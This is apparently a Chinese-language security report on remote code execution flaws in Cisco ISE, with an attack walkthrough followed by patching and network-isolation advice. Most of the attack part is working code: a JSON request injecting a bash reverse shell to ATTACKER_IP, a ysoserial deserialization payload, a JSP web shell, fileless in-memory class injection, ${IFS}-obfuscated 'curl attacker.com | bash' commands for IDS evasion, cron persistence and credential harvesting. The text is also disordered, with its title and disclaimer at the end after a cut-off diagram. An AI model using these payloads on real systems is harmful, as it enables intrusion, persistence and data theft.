Cisco Identity Services Engine (ISE) 中的远程代码执行(RCE)漏洞代表了企业边界安全中的关键断裂点。对于精英安全研究人员而言,ISE 不仅仅是身份验证组件:它是控制整个网络基础设施访问权限的主钥匙。
严重风险: 未认证的攻击者可在不到 5 分钟内获得系统的完全控制权,且不会在传统监控系统中留下可检测的痕迹。
| CVE | 端点 | 方法 | 认证 | 严重性 |
|---|---|---|---|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ 无 | 严重 |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ 弱 | 严重 |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ 可能绕过 | 严重 |
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - 暴露的 NAC 架构 │
├─────────────────────────────────────────────────────────┤
│ │
│ [互联网] ──→ [防火墙] ──→ [ISE 管理端口] │
│ ↓ │
│ [未认证 API] │
│ ↓ │
│ [Java 反序列化层] │
│ ↓ │
│ [Tomcat Web 容器] │
│ ↓ │
│ [操作系统命令执行] │
│ ↓ │
│ [完全网络沦陷] │
│ │
└─────────────────────────────────────────────────────────┘
关键发现: /deployment-rpc/ API 在处理流程的前几行不验证会话令牌,允许完全绕过认证。
阶段 1:侦察
# 端口和服务扫描
nmap -sV -p 8443,8080 <ISE_IP>
# 枚举 RPC 端点
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
阶段 2:直接利用
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
结果: 以 root 权限执行任意命令(在默认配置中,Tomcat 用户以 root 身份运行)。
[序列化载荷] ──→ [API 端点] ──→ [ObjectInputStream.readObject()]
↓
[Gadget Chain 执行]
↓
[调用 Runtime.exec()]
PoC 载荷(使用 ysoserial):
# 生成恶意 gadget chain
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# 发送载荷
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
影响: 从"只读"账户权限提升至 root。
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat 处理 JSP 文件]
↓
[以 root 权限执行]
恶意 Web Shell 示例:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
后续访问:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
精英黑客从不在磁盘上留下文件。内存注入是不可见持久化的技术:
// Tomcat ClassLoader 注入
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
优势: 传统文件扫描(OSSEC、Tripwire)无法检测到任何内容。
${IFS} 混淆命令# 原始命令(可检测)
curl http://attacker.com/shell.sh | bash
# 混淆命令(规避 IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# 变量间接引用变体
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'恶意命令'
为何有效: 检测系统搜索关键字模式(curl、bash、|)。使用 ${IFS}(内部字段分隔符)可以在不改变 bash 中含义的情况下分割单词。
# ❌ 可检测 - /etc/cron.d/ 中的文件
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ 隐形 - 注入 Tomcat 进程
# 1. 在内存中创建 netcat 监听器
# 2. 向 JVM 注入保持持久连接的线程
# 3. 无文件,无可见的孤儿进程
┌──────────────────────────────────────────────────────────────────┐
│ 原始零信任架构 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [用户] ──→ [ISE 认证] ──→ [设备状态检查] │
│ ↓ │
│ [微隔离策略] │
│ ↓ │
│ [受限资源访问] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ ISE 沦陷之后 ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ 已沦陷的架构 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [攻击者] ──→ [受控 ISE] ──→ [已修改的策略] │
│ ↓ │
│ [微隔离已禁用] │
│ ↓ │
│ [网络中的完全横向移动] │
│ ↓ │
│ [访问数据库、服务器、IoT] │
│ │
└──────────────────────────────────────────────────────────────────┘
阶段 1:内部侦察
# 从已沦陷的 ISE 枚举网络
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# 提取 ISE 中存储的凭据
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
阶段 2:注入恶意策略
ISE 策略修改:
├─ 创建隐藏的管理员用户
├─ 修改分段规则
├─ 允许 VLAN 之间的未授权流量
└─ 将 DNS 流量重定向到受控服务器
阶段 3:持久化与数据窃取
被窃取的数据:
├─ 所有已认证用户的凭据
├─ 网络策略配置
├─ 访问日志(用于清除痕迹)
├─ 内部 SSL/TLS 证书
└─ IoT 设备和服务器信息
# 验证当前版本
ssh admin@<ISE_IP>
show version
# 易受攻击版本:
# - ISE 3.0.x 至 3.2.x(全部)
# - ISE 3.3.0 至 3.3.6
# - ISE 3.4.0 至 3.4.1
# 安全版本:
# - ISE 3.3 Patch 7 或更高版本
# - ISE 3.4 Patch 2 或更高版本
# - ISE 3.5(可用时)
# 升级流程
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! 在接入交换机上(ISE 之前)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! 专用管理 VLAN(VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! ISE 限制性 ACL
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! 应用 ACL
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# SSH 到 ISE
ssh admin@<ISE_IP>
# 访问 Tomcat 配置
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# 重启 Tomcat
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ 加固的 ISE 架构(零信任) │
├─────────────────────────────────────
**🚨 安全报告:Cisco ISE 中的 RCE**
## 红队 vs 蓝队视角
> **⚠️ 免责声明:** 本文档用于合法的安全研究、授权的渗透测试和防御性修复。未经授权的任何利用行为均属违法。